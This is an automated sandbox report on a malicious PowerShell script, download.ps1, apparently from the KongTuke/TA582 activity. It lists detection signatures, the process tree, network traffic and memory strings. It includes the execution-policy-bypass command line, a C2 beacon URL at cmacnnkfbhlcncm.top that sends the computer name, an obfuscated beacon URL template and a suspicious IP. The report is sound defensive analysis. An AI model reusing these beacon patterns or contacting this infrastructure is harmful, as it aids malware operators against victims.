Edit tour

Windows Analysis Report
download.ps1

Overview

General Information

Sample name:	download.ps1
Analysis ID:	1579001
MD5:	506d528176abebda1202676b0528e974
SHA1:	58036f821fad918c508ed11270e2df7474b3a2e3
SHA256:	bd7cd2b13af4f8065d7970d6a6c0163ce4e155c60ae7a67062e4e17c439b1f95
Tags:	KongTukeps1user-monitorsg
Infos:

Detection

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Suricata IDS alerts for network traffic

AI detected suspicious sample

Loading BitLocker PowerShell Module

Queries Google from non browser process on port 80

Queries memory information (via WMI often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sigma detected: Change PowerShell Policies to an Insecure Level

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

powershell.exe (PID: 644 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Sigma Signatures

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1", ProcessId: 644, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1", ProcessId: 644, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE TA582 Domain in DNS Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:34:58.369189+0100	2859391	1	Domain Observed Used for C2 Detected	192.168.2.7	52452	1.1.1.1	53	UDP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 89.2% probability

Source:	Binary string: mscorlib.pdbCLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32 source: powershell.exe, 00000000.00000002.1430212250.00000235E92EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000000.00000002.1428627321.00000235E907E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000000.00000002.1431782162.00000235E938D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdbE-5E7582D8C9FA}\InprocServer32 source: powershell.exe, 00000000.00000002.1430212250.00000235E92EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbGC source: powershell.exe, 00000000.00000002.1430212250.00000235E9284000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000000.00000002.1431782162.00000235E9425000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: scorlib.pdb source: powershell.exe, 00000000.00000002.1430212250.00000235E9284000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000000.00000002.1430212250.00000235E92EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdbllu8w source: powershell.exe, 00000000.00000002.1431782162.00000235E938D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000000.00000002.1431782162.00000235E9425000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000000.00000002.1428627321.00000235E907E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbv source: powershell.exe, 00000000.00000002.1431782162.00000235E9425000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2859391 - Severity 1 - ETPRO MALWARE TA582 Domain in DNS Lookup : 192.168.2.7:52452 -> 1.1.1.1:53

Queries Google from non browser process on port 80

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

HTTP traffic: GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.google.com Connection: Keep-Alive

Source: Joe Sandbox View

IP Address: 45.61.136.138 45.61.136.138

Source: global traffic	HTTP traffic detected: GET /4sqjhclnathtr.php?id=user-PC&key=146061803000&s=527 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: cmacnnkfbhlcncm.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.google.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /4sqjhclnathtr.php?id=user-PC&key=146061803000&s=527 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: cmacnnkfbhlcncm.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.google.comConnection: Keep-Alive

Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: *href=https://www.youtube.com/?tab=w1><spanX equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: cmacnnkfbhlcncm.top
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: powershell.exe, 00000000.00000002.1393644816.0000023580228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.00000235814F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://$705rotusj9yfepq/$8au6hqz3bnw7ijk.php?id=$env:computername&key=$ukcqoy&s=527
Source: powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://0.google.
Source: powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://0.google.com/
Source: powershell.exe, 00000000.00000002.1393644816.0000023581769000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.00000235814F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cmacnnkfbhlcncm.top
Source: powershell.exe, 00000000.00000002.1393644816.00000235814F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cmacnnkfbhlcncm.top/4sqjhclnathtr.php?id=user-PC&key=146061803000&s=527
Source: powershell.exe, 00000000.00000002.1430090401.00000235E9190000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://maps.google.com/maps?hl=en&tab=wl
Source: powershell.exe, 00000000.00000002.1417520976.000002359006D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000000.00000002.1393644816.0000023580228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schema.org/WebPage
Source: powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schema.org/WebPageX
Source: powershell.exe, 00000000.00000002.1393644816.0000023580228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000000.00000002.1393644816.0000023580001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000000.00000002.1393644816.0000023580228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000000.00000002.1393644816.0000023580228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.blogger.com/?tab=wj
Source: powershell.exe, 00000000.00000002.1393644816.0000023581769000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.0000023581773000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.0000023581787000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/history/optout?hl=en
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/mobile/?hl=en&tab=wD
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/preferences?hl=enX
Source: powershell.exe, 00000000.00000002.1430212250.00000235E92EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c
Source: powershell.exe, 00000000.00000002.1430212250.00000235E92EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.e
Source: powershell.exe, 00000000.00000002.1430212250.00000235E92EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.i
Source: powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://0.google
Source: powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://0.google.com/
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?hl=en&passive=true&continue=http://www.google.com/&ec=GAZAA
Source: powershell.exe, 00000000.00000002.1393644816.0000023580001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000000.00000002.1417520976.0000023590001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1417520976.0000023590269000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1417520976.00000235902F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.0000023581999000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.000002358179D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1417520976.00000235901D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://books.google.com/?hl=en&tab=wp
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com/calendar?tab=wc
Source: powershell.exe, 00000000.00000002.1417520976.000002359006D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000000.00000002.1417520976.000002359006D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000000.00000002.1417520976.000002359006D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000000.00000002.1417520976.0000023590269000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1417520976.00000235901D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.0000023581773000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/gws/other-hp
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=docs_alc
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?tab=wo
Source: powershell.exe, 00000000.00000002.1393644816.0000023580228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lh3.googleusercontent.com/ogw/default-user=s24
Source: powershell.exe, 00000000.00000002.1393644816.0000023581999000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lh3.googleusercontent.com/ogw/default-user=s24X
Source: powershell.exe, 00000000.00000002.1417520976.0000023590001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1417520976.0000023590269000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1417520976.00000235902F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.000002358179D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1417520976.00000235901D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lh3.googleusercontent.com/ogw/default-user=s96
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lh3.googleusercontent.com/ogw/default-user=s96X
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=wm
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://news.google.com/?tab=wn
Source: powershell.exe, 00000000.00000002.1417520976.000002359006D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/?tab=wq&pageId=none
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/?hl=en&tab=w8
Source: powershell.exe, 00000000.00000002.1393644816.0000023581787000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/b_8d5afc09.png);_background:url(https://ssl.gstatic.com/gb/images/
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/?hl=en&tab=wT
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/finance?tab=we
Source: powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/hpp/gemini-spark-icon-dark-mode-2-42px.png
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/hpp/gemini-spark-icon-dark-mode-2-42px.pngX
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=wi
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=whX
Source: powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/logos/doodles/2024/year
Source: powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/logos/doodles/2024/year-in-search-2024-global-6753651837110649-2xa.gif
Source: powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/logos/doodles/2024/year-in-search-2024-global-6753651837110649-2xa.gifX
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/shopping?hl=en&source=og&tab=wf
Source: powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/url?q=https://blog.google/products/gemin
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.000002358179D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1417520976.00000235901D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/url?q=https://blog.google/products/gemini/google-gemini-ai-holiday-planning-2
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/webhp?tab=ww
Source: powershell.exe, 00000000.00000002.1393644816.0000023581999000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.000002358179D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1417520976.00000235901D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: powershell.exe, 00000000.00000002.1393644816.0000023581999000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.comX
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?tab=w1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFAAC487E56	0_2_00007FFAAC487E56
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFAAC488C02	0_2_00007FFAAC488C02
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFAAC480B6A	0_2_00007FFAAC480B6A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFAAC6C6D1A	0_2_00007FFAAC6C6D1A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFAAC6C7CFD	0_2_00007FFAAC6C7CFD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFAAC6C3589	0_2_00007FFAAC6C3589

Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: basecomb:/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/ck\x3dxjs.hp.ZdvoAuacH0c.L.X.O/am\x3dBAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBAAAAAAAAAAAAAwCsAQAAIABAgAAAAAAAAAAAAAAAIAIAUAAQAAAAAOI7AgABsAgAAC8/d\x3d1/ed\x3d1/dg\x3d0/ujg\x3d1/rs\x3dACT90oG2YgZBBwq8tE9dYnVc4XZLiXbO4w
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: u='/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/am\x3dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAwCAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOI7AgABsAgAAC8/d\x3d1/ed\x3d1/dg\x3d3/rs\x3dACT90oGMPIbLhEbfa9cuZNWYzrj6GUW7qA/m\x3dsb_he,d'
Source: powershell.exe, 00000000.00000002.1393644816.0000023581999000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: basecomb:/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/ck\x3dxjs.hp.ZdvoAuacH0c.L.X.O/am\x3dBAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAX
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: basecomb:/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/ck\x3dxjs.hp.ZdvoAuacH0c.L.X.O/am\x3dBAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBAAAAAAAAAAAAAwCsAQAAIABAgAAAAAAAAAAAAAAAIAIAUAAQAAAAAOI7AgABsAgAAC8/d\x3d1/ed\x3d1/dg\x3d0/ujg\x3d1/rs\x3dACT90oG2YgZBBwq8tE9dYnVc4XZLiXbO4wX
Source: powershell.exe, 00000000.00000002.1417520976.0000023590001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1417520976.0000023590269000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1417520976.00000235902F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.000002358179D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1417520976.00000235901D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: else top.location='/doodles/';};})();</script><input value="AL9hbdgAAAAAZ2Wqxe4sfCzpkRcf-DEQHyAKQh5J2xrC" name="iflsig" type="hidden"></span></span></td><td class="fl sblc" align="left" nowrap="" width="25%"><a href="/advanced_search?hl=en&authuser=0">Advanced search</a></td></tr></table><input id="gbv" name="gbv" type="hidden" value="1"><script nonce="q0Qh02Fx1ZnHOkNjcAOMoA">(function(){var a,b="1";if(document&&document.getElementById)if(typeof XMLHttpRequest!="undefined")b="2";else if(typeof ActiveXObject!="undefined"){var c,d,e=["MSXML2.XMLHTTP.6.0","MSXML2.XMLHTTP.3.0","MSXML2.XMLHTTP","Microsoft.XMLHTTP"];for(c=0;d=e[c++];)try{new ActiveXObject(d),b="2"}catch(h){}}a=b;if(a=="2"&&location.search.indexOf("&gbv=2")==-1){var f=google.gbvu,g=document.getElementById("gbv");g&&(g.value=a);f&&window.setTimeout(function(){location.href=f},0)};}).call(this);</script></form><div style="font-size:83%;min-height:3.5em"><br><div id="K7FuCf"><style>.U8K5Lc{font-size:small;margin-bottom:32px}.U8K5Lc a.qDTOof{display:inline-block;text-decoration:none}.U8K5Lc img{border:none;margin-right:5px;vertical-align:middle}</style><div class="U8K5Lc" data-ved="0ahUKEwiXo8fT47aKAxVa3jQHHcR7GSoQnIcBCAU"><img alt="" height="32" src="https://www.google.com/images/hpp/gemini-spark-icon-dark-mode-2-42px.png" width="32"><a href="https://www.google.com/url?q=https://blog.google/products/gemini/google-gemini-ai-holiday-planning-2024/%3Futm_source%3Dhpp%26utm_medium%3Dreferral&source=hpp&id=19046184&ct=3&usg=AOvVaw0wTMtITXLpc8KeH3Y4fICW&sa=X&ved=0ahUKEwiXo8fT47aKAxVa3jQHHcR7GSoQ8IcBCAY" rel="nofollow">5 ways Gemini can help during the Holidays</a></div></div></div><span id="footer"><div style="font-size:10pt"><div style="margin:19px auto;text-align:center" id="WqQANb"><a href="/intl/en/ads/">Advertising</a><a href="/services/">Business Solutions</a><a href="/intl/en/about.html">About Google</a></div></div><p style="font-size:8pt;color:#70757a">© 2024 - <a href="/intl/en/policies/privacy/">Privacy</a> - <a href="/intl/en/policies/terms/">Terms</a></p></span></center><script nonce="q0Qh02Fx1ZnHOkNjcAOMoA">(function(){window.google.cdo={height:757,width:1440};(function(){var a=window.innerWidth,b=window.innerHeight;if(!a\|\|!b){var c=window.document,d=c.compatMode=="CSS1Compat"?c.documentElement:c.body;a=d.clientWidth;b=d.clientHeight}if(a&&b&&(a!=google.cdo.width\|\|b!=google.cdo.height)){var e=google,f=e.log,g="/client_204?&atyp=i&biw="+a+"&bih="+b+"&ei="+google.kEI,h="",k=window.google&&window.google.kOPI\|\|null;k&&(h+="&opi="+k);f.call(e,"","",g+h)};}).call(this);})();</script> <script nonce="q0Qh02Fx1ZnHOkNjcAOMoA">(function(){google.xjs={basecomb:'/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/ck\x3dxjs.hp.ZdvoAuacH0c.L.X.O/am\x3dBAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBAAAAAAAAAAAAAwCsAQAAIABAgAAAAAAAAAAAAAAAIAIAUAAQAAAAAOI7AgABsAgAAC8/d\x3d1/ed\x3d1/dg\x3d0/ujg\x3d1/rs\x3dACT90oG2YgZBBwq8tE9dYnVc4XZLiXbO4w',basecss:'/xjs/_/ss/k\x3dxjs.hp.ZdvoAuac
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: basecomb:'/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/ck\x3dxjs.hp.ZdvoAuacH0c.L.X.O/am\x3dBAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBAAAAAAAAAAAAAwCsAQAAIABAgAAAAAAAAAAAAAAAIAIAUAAQAAAAAOI7AgABsAgAAC8/d\x3d1/ed\x3d1/dg\x3d0/ujg\x3d1/rs\x3dACT90oG2YgZBBwq8tE9dYnVc4XZLiXbO4w'
